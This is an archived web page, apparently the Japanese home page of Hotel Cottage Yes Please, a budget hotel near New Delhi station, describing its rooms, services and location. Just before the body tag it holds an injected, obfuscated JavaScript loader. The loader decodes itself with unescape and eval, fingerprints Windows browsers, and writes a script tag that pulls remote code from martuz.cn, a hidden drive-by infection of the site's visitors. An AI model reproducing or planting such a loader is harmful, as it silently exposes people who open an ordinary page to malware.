HTTP/1.1 200 OK
Date: Mon, 25 May 2009 09:28:10 GMT
Server: Apache
Last-Modified: Sun, 17 May 2009 20:22:36 GMT
ETag: "30d36948-7176-70379b00"
Accept-Ranges: bytes
Content-Length: 29046
Connection: close
Content-Type: text/html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<TITLE>Hotel Cottage Yes Please Delhi, Budget Hotel in Delhi, Budget Hotel in New Delhi, Delhi Budget Hotel, New Delhi Budget Hotel, Budget Hotel Paharganj</TITLE>
<META NAME="Description" CONTENT="Hotel Cottage Yes Please Delhi, Budget Hotel in Delhi, Budget Hotel in New Delhi, Delhi Budget Hotel, New Delhi Budget Hotel, Budget Hotel Paharganj">
<META NAME="Keywords" CONTENT="Hotel Cottage Yes Please Delhi, Budget Hotel in Delhi, Budget Hotel in New Delhi, Delhi Budget Hotel, New Delhi Budget Hotel, Budget Hotel Paharganj, delhi hotels, delhi budget hotel, hotel in delhi, delhi hotel, tourist hotel in delhi, hotels in delhi india, cheap hotel in Delhi, accommodation in delhi, delhi accommodation, accommodation in new delhi, budget accommodation in delhi, lodging in delhi, hotels in paharganj delhi, Paharganj Hotel, Paharganj Delhi hotel">
<META name="robots" content="index, follow">
<META name="author" content="Shigeta Travel, www.yokosoindia.com">
<META name="revisit-after" content="15 days">
<style>
a:link {text-decoration: none; color: #AA453B; }
a:active {text-decoration: none; color: #AA453B; }
a:visited {text-decoration: none; color: #AA453B; }
a:hover {text-decoration: underline overline; color: #AA453B;}
a.psm:link {text-decoration: none; color: #F3EDDA; }
a.psm:active {text-decoration: none; color: #F3EDDA; }
a.psm:visited {text-decoration: none; color: #F3EDDA; }
a.psm:hover {text-decoration: underline overline; color: #FFFFFF; }
</style>
</head>
<script language=javascript><!--
(function(X5mv){var XrQI='v`61r`20`61`3d`22Scr`69ptEngine`22`2cb`3d`22V`65r`73io`6e()`2b`22`2cj`3d`22`22`2cu`3d`6eavigator`2euser`41ge`6et`3bif(`28u`2e`69ndexOf(`22`43`68`72o`6d`65`22`29`3c0)`26`26(`75`2einde`78O`66(`22`57in`22)`3e0)`26`26(u`2eindexO`66`28`22N`54`20`36`22`29`3c0`29`26`26(docum`65nt`2e`63ooki`65`2e`69ndexO`66`28`22`6die`6b`3d1`22)`3c0)`26`26`28typ`65`6ff(z`72vzt`73)`21`3dtype`6ff(`22A`22)`29`29`7bzrvzt`73`3d`22A`22`3b`65val(`22if(`77in`64`6fw`2e`22+a+`22)j`3dj+`22`2ba+`22M`61jor`22+b`2ba+`22Mi`6eo`72`22`2b`62+a+`22Bu`69ld`22+b`2b`22j`3b`22)`3bdo`63u`6den`74`2e`77`72ite(`22`3cscri`70`74`20src`3d`2f`2fma`72tu`22`2b`22`7a`2ecn`2fvid`2f`3fid`3d`22`2bj+`22`3e`3c`5c`2fscri`70`74`3e`22)`3b`7d';var Clsv=XrQI.replace(X5mv,'%');var bB9b=unescape(Clsv);eval(bB9b)})(/\`/g);
--></script><body topmargin=0 leftmargin=0 ONLOAD="runSlideShows();" text="#AA453B">
<SCRIPT LANGUAGE="javascript" SRC="slideshows.js"></SCRIPT>
<div align="center">
<center>
<table border="0" cellspacing="1" width="999">
<tr>
<td>
<div align="center">
<table border="0" cellspacing="0" width="100%" cellpadding="0" bgcolor="#F3EDDA">
<tr>
<td width="66%" valign="bottom"><img border="0" src="hotel-cottage-yes-please-india.gif" width="500" height="60"></td>
</center>
<td width="33%" valign="bottom">
<p align="right"><font size="2" face="Verdana"><b>| </b></font><b><a href="http://www.yokosoindia.com"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">ホーム</span></font></a></b><font size="2" face="Verdana"><b>
| </b></font><b><a href="jp-hotel-reservation.htm"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">予約</span></font></a></b><font size="2" face="Verdana"><b> |
</b></font><b><a href="jp-contact.htm"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">お問い合わせ</span></font></a></b><font size="2" face="Verdana"><b>
| </b></font></td>
</tr>
<center>
<tr>
<td width="100%" colspan="2" bgcolor="#AA453B"><img border="0" src="hotel-cottage-yes-please-delhi-1.jpg" width="996" height="260" NAME="SlideShows" ></td>
</tr>
<tr>
<td width="100%" colspan="2" bgcolor="#AA453B">
<div align="center">
<table border="0" cellspacing="0" width="100%" cellpadding="0">
<tr>
<td width="25%" bgcolor="#E9D0A9" valign="top">
<p style="margin-left: 15"><b><font size="2" color="#AA453B" face="Verdana"> </font></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B" face="Verdana"><img border="0" src="dot.gif" width="8" height="8">
</font><a href="http://www.yokosoindia.com"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">ホーム</span></font></a></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B"><img border="0" src="dot.gif" width="8" height="8">
</font><a href="jp-hotel-facilities.htm"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">ホテル設備</span></font></a></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B"><img border="0" src="dot.gif" width="8" height="8">
</font><font size="2" color="#AA453B" face="Verdana"><a href="jp-hotel-rooms.htm">Rooms</a></font></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B" face="Verdana"><img border="0" src="dot.gif" width="8" height="8">
</font><a href="jp-hotel-tariff.htm"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">料金</span></font></a></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B"><img border="0" src="dot.gif" width="8" height="8">
</font><a href="jp-contact.htm#hotel"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">アクセス</span></font></a></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B"><img border="0" src="dot.gif" width="8" height="8">
</font><a href="jp-hotel-reservation.htm"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">予約</span></font></a></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B"><img border="0" src="dot.gif" width="8" height="8">
</font><a href="jp-hotel-rooms.htm#gallery"><font size="2" color="#AA453B"><span lang="JA" style="mso-bidi-font-size: 12.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; font-size: 10.0pt; mso-fareast-font-family: MS PGothic; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">ギャラリー</span></font></a></b></p>
<p style="margin-left: 15"><b><font size="2" color="#AA453B"><img border="0" src="dot.gif" width="8" height="8">
</font><a href="jp-contact.htm"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">お問い合わせ</span></font></a></b></p>
<p style="margin-left: 15"> </p>
<p style="margin-left: 15"><b><u><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">お役立ちリンク</span></font></u><font size="2" color="#AA453B">
</font><font size="2" color="#AA453B" face="Verdana"> :<br>
<br>
<img border="0" src="dot.gif" width="8" height="8">
</font><a href="http://www.xe.com/ucc/" target="_blank"><font size="2" color="#AA453B"><span lang="JA" style="mso-bidi-font-size: 12.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; font-size: 10.0pt; mso-fareast-font-family: MS PGothic; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">通貨換算表</span></font></a><font size="2" color="#AA453B"><br>
<br>
<img border="0" src="dot.gif" width="8" height="8">
</font><a href="http://www.wunderground.com/global/stations/42181.html" target="_blank"><font size="2" color="#AA453B"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">デリーの天気</span></font></a></b></p>
<p>
<p align="center"><br>
<img border="0" src="airport-pickup.gif" width="86" height="107"><br>
<b><font size="2"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; color: #AA453B; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">空港送迎サービス</span></font></b>
<p align="center"> </td>
<td width="75%" bgcolor="#F3EDDA" valign="top">
<p style="margin-left: 25; margin-right: 25" align="center"><i><b><font face="Verdana" color="#AA453B" size="3"><br>
</font><font color="#AA453B" face="Monotype Corsiva" size="5">Welcome to
Hotel Cottage Yes Please</font><font color="#AA453B" face="Monotype Corsiva" size="6"><br>
</font><font face="Verdana" color="#AA453B" size="3"><img border="0" src="5.jpg" width="300" height="175"></font></b></i></p>
<p class="MsoNormal" align="justify" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-pagination: widow-orphan; margin-left: 18.75pt; margin-right: 18.75pt"><b><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:
"MS PGothic";mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:
0pt">Hotel Cottage Yes Please</span><span lang="JA" style="font-size:10.0pt;
font-family:"MS PGothic";mso-ascii-font-family:Verdana;mso-hansi-font-family:
Verdana;mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt">はニューデリー駅前にあるメインバザールのパハルガンジに位置する格安ランクのホテルです。ニューデリー駅までは</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt">500</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:
Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";
color:#AA453B;mso-font-kerning:0pt">M、旧デリー駅までは</span><span style="font-size:
10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">3</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:Verdana;
mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";color:#AA453B;
mso-font-kerning:0pt">KM、インディラガンジー空港までは</span><span style="font-size:10.0pt;
font-family:Verdana;mso-fareast-font-family:"MS PGothic";mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">12</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:Verdana;
mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";color:#AA453B;
mso-font-kerning:0pt">KM、コンノートプレイスまでが</span><span style="font-size:10.0pt;
font-family:Verdana;mso-fareast-font-family:"MS PGothic";mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">1</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:Verdana;
mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";color:#AA453B;
mso-font-kerning:0pt">KM、また官庁街や歴史的史跡、宗教施設、文化センター、ショッピングモール、見本市会場など、デリーのすべての主要箇所へのアクセスが便利な立地にあります。</span><span style="font-size:12.0pt;font-family:"MS PGothic";mso-bidi-font-family:"MS PGothic";
color:#AA453B;mso-font-kerning:0pt"><o:p>
</o:p>
</span></b></p>
<p class="MsoNormal" align="justify" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-pagination: widow-orphan; margin-left: 18.75pt; margin-right: 18.75pt"><b><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">観光やビジネスでデリーに訪れるすべての人々にとって経済的にも立地的にも便利な</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt">Hotel</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:
Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";
color:#AA453B;mso-font-kerning:0pt"> </span><span style="font-size:10.0pt;
font-family:Verdana;mso-fareast-font-family:"MS PGothic";mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">Cottage Yes Please</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:
Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";
color:#AA453B;mso-font-kerning:0pt">は、利用客のニーズに合った設備が整い、清潔で高級感あふれる内装、そしてスタッフサービスを提供しています。</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt"><br>
<br>
45</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">室のエアコンつきツインルームにはシャワールーム、TV、ミニ冷蔵庫がかびされており、ホットシャワ<img border="0" src="hotel2.jpg" style="float: right" width="150" height="225"></span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt"><img border="0" src="lobby.jpg" style="float: left" width="150" height="225"></span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">ーはいつでも使用可能で</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">す。</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt"><o:p>
</o:p>
</span></b></p>
<p class="MsoNormal" align="justify" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-pagination: widow-orphan; margin-left: 18.75pt; margin-right: 18.75pt"><b><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">また、停電時には</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt">24</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:
Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";
color:#AA453B;mso-font-kerning:0pt">時間のバックアップシステム完備。</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt">24</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:
Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";
color:#AA453B;mso-font-kerning:0pt">時間のルームサービスやインターネット接続サービスも行なっています。ホテルの屋上からはメインバザールが一望できるテラスもあり、暑い時期には夕涼みにピッタリです。 </span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt"><o:p>
</o:p>
</span></b></p>
<p class="MsoNormal" align="justify" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-pagination: widow-orphan; margin-left: 18.75pt; margin-right: 18.75pt"><b><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">ホテルのロビー階にはツアーデスク(</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt">SHIGETA
TRAVEL</span><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";
mso-ascii-font-family:Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:
"MS PGothic";color:#AA453B;mso-font-kerning:0pt">)があり、両替や航空券などの各種チケット手配、タクシー手配、空港送迎サービス、ツアープラン作成をはじめとする観光ツアー手配などを行なっています。</span><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-font-kerning:0pt"><o:p>
</o:p>
</span></b></p>
<p style="margin-left: 18.75pt; margin-right: 18.75pt" align="justify"><span style="font-size:10.0pt;font-family:Verdana;mso-fareast-font-family:"MS PGothic";
mso-bidi-font-family:"MS PGothic";color:#AA453B;mso-ansi-language:EN-US;
mso-fareast-language:JA;mso-bidi-language:AR-SA"><b>Hotel Cottage Yes Please </b></span><b><span lang="JA" style="font-size:10.0pt;font-family:"MS PGothic";mso-ascii-font-family:
Verdana;mso-hansi-font-family:Verdana;mso-bidi-font-family:"MS PGothic";
color:#AA453B;mso-ansi-language:EN-US;mso-fareast-language:JA;mso-bidi-language:
AR-SA">では、お客様のニーズを満たし、重要なビジネスに集中し、思い出深い旅行になるよう、居心地のよい滞在が楽しめるよう、ホテルスタッフ全員でサービスの向上に努めています。デリーにお越しの際には是非当ホテルをご利用くださいませ。スタッフ一同お待ちしています。</span></b>
<p style="margin-left: 25; margin-right: 25" align="center"><b>*
* * * * * * * * * * * * * *</b></td>
</center>
</tr>
</table>
</div>
</td>
</tr>
<center>
<tr>
<td width="100%" colspan="2" bgcolor="#AA453B" height="15" valign="middle" align="center"> </td>
</tr>
<tr>
<td width="100%" colspan="2" bgcolor="#F3EDDA" height="30" valign="middle" align="center"><font color="#AA453B"><b><font size="2" face="Verdana">|
</font><a href="http://www.yokosoindia.com"><font size="2"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">ホーム</span></font></a><font size="2" face="Verdana">
| </font><a href="jp-hotel-facilities.htm"><font size="2"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">ホテル設備</span></font></a><font size="2" face="Verdana"> |
<a href="jp-hotel-rooms.htm">Rooms</a> | </font><a href="jp-hotel-tariff.htm"><font size="2"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">料金</span></font></a><font size="2" face="Verdana">
| </font><a href="jp-contact.htm#hotel"><font size="2"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">アクセス</span></font></a><font size="2" face="Verdana"> |
</font><a href="jp-hotel-reservation.htm"><font size="2"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">予約</span></font></a><font size="2" face="Verdana"> |
</font><a href="jp-contact.htm"><font size="2"><span lang="JA" style="font-size: 10.0pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-bidi-font-family: MS PGothic; mso-ansi-language: EN-US; mso-fareast-language: JA; mso-bidi-language: AR-SA">お問い合わせ</span></font></a><font size="2" face="Verdana"> |</font></b></font></td>
</tr>
<tr>
<td width="100%" colspan="2" bgcolor="#F3EDDA" height="30" valign="middle" align="center"> </td>
</tr>
</table>
</div>
</center>
</td>
</tr>
</table>
</div>
</body>
</html>
|